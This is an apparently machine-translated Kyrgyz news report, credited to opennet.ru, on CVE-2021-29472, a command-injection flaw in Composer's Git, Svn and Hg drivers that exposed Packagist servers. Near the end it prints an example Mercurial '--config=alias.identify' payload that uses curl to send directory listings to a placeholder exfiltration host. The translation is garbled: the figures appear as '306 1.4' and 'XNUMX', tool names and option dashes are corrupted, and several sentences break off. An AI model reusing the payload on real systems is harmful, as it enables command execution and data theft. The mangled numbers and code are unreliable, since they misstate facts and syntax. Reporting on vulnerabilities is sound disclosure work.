Packagist PHP репозиторийинин бузулушуна жол берген Composer пакет менеджериндеги аялуу

Композитордун көз карандылык башкаргычында булак кодун жүктөө үчүн даректи аныктаган атайын форматталган URL мааниси бар пакетти иштетүүдө системада ыктыярдуу буйруктарды аткарууга мүмкүндүк берген маанилүү аялуу (CVE-2021-29472) аныкталган. Көйгөй Git, Subversion жана Mercurial булактарын башкаруу системаларын колдонууда колдонулган GitDriver, SvnDriver жана HgDriver компоненттеринде пайда болот. Аялуу Композитордун 1.10.22 жана 2.0.13 релиздеринде чечилген.

Маселе биринчи кезекте Composerдин демейки топтом репозиторийине, Packagistке таасирин тийгизгени, анда PHP иштеп чыгуучулары үчүн 306 1.4 топтом камтылган жана айына XNUMX миллиарддан ашык жүктөмөлөрдү тейлегени белгиленген. Эксперимент көрсөткөндөй, эгер көйгөй боюнча билим бар болсо, чабуулчулар Packagist инфраструктурасын көзөмөлгө алып, тейлөөчүлөрдүн эсептик дайындарын кармап алышы мүмкүн же пакетти жүктөөлөрдү үчүнчү тараптын серверине багыттоо менен, бэкдорду алмаштыруу үчүн зыяндуу өзгөртүүлөр менен пакеттин варианттарын жеткирүүнү уюштура алышат. көз карандылыкты орнотуу процессинде.

Акыркы колдонуучулар үчүн коркунуч composer.json мазмуну адатта колдонуучу тарабынан аныкталат жана булак шилтемелери үчүнчү тараптын репозиторийлерине киргенде берилет, алар адатта ишенимдүү. Негизги сокку Packagist.org репозиторийине жана Private Packagist кызматына тийди, ал колдонуучулардан алынган маалыматтарды өткөрүп берүү менен Composer деп атады. Чабуулчулар атайын иштелип чыккан пакетти жайгаштыруу менен Packagist серверлеринде өз коддорун аткара алышат.

Packagist командасы алсыздык тууралуу кабар берилгенден кийин 12 сааттын ичинде аны оңдоп койду. Окумуштуулар 22-апрелде Packagist иштеп чыгуучуларына жеке кабарлашты жана көйгөй ошол эле күнү чечилди. Композитордун аялуулугун жоюу боюнча ачык жаңыртуусу 27-апрелде жарыяланып, чоо-жайы 28-апрелде ачыкка чыкты. Packagist серверлериндеги журналдардын аудити алсыздыкка байланыштуу эч кандай шектүү аракетти көрсөткөн эмес.

Көйгөй негизги composer.json файлындагы жана булак жүктөө шилтемелериндеги URL текшерүү кодундагы мүчүлүштүктөн улам келип чыгат. Ката кодексте 2011-жылдын ноябрь айынан бери бар. Packagist "fromShellCommandline" чалуу жана буйрук сабынын аргументтерин өткөрүү аркылуу аткарылуучу белгилүү бир булакты башкаруу тутумуна байланбастан кодду жүктөөнү уюштуруу үчүн атайын катмарларды колдонот. Мисалы, git үчүн "git ls-remote -heads $URL" буйругу чакырылат, мында URL "ProcessExecutor::escape($url)" ыкмасы менен иштетилип, "$(. ..)" же "` ...`".

Көйгөйдүн өзөгү ProcessExecutor::escape ыкмасы URL дарегинде кандайдыр бир кошумча чалуу параметрин көрсөтүүгө мүмкүндүк берген “—” ырааттуулугунан качкан жок. Мындай качуу GitDriver.php, SvnDriver.php жана HgDriver.php драйверлеринде жок болчу. GitDriver.php чабуулуна “git ls-remote” буйругу жолдон кийин кошумча аргументтерди көрсөтүүнү колдобогондугу тоскоол болгон. HgDriver.phpге кол салуу “--config” параметрин “hq” утилитасына өткөрүү аркылуу мүмкүн болуп чыкты, ал “alias.identify” жөндөөсүн манипуляциялоо аркылуу каалаган буйруктун аткарылышын уюштурууга мүмкүндүк берет. Мисалы, curl утилитасын иштетүү аркылуу кодду жүктөп алуу жана аткаруу үчүн, сиз төмөнкүлөрдү белгилесеңиз болот: —config=alias.identify=!curl http://exfiltration-host.tld —Data “$(ls -alh)”

Окшош URL дареги бар сыноо пакетин Packagistке жайгаштыруу менен, изилдөөчүлөр жайгаштыргандан кийин алардын сервери AWSдеги Packagist серверлеринин биринен учурдагы каталогдогу файлдардын тизмесин камтыган HTTP сурамын алганын ырасташты.

Source: opennet.ru

Комментарий кошуу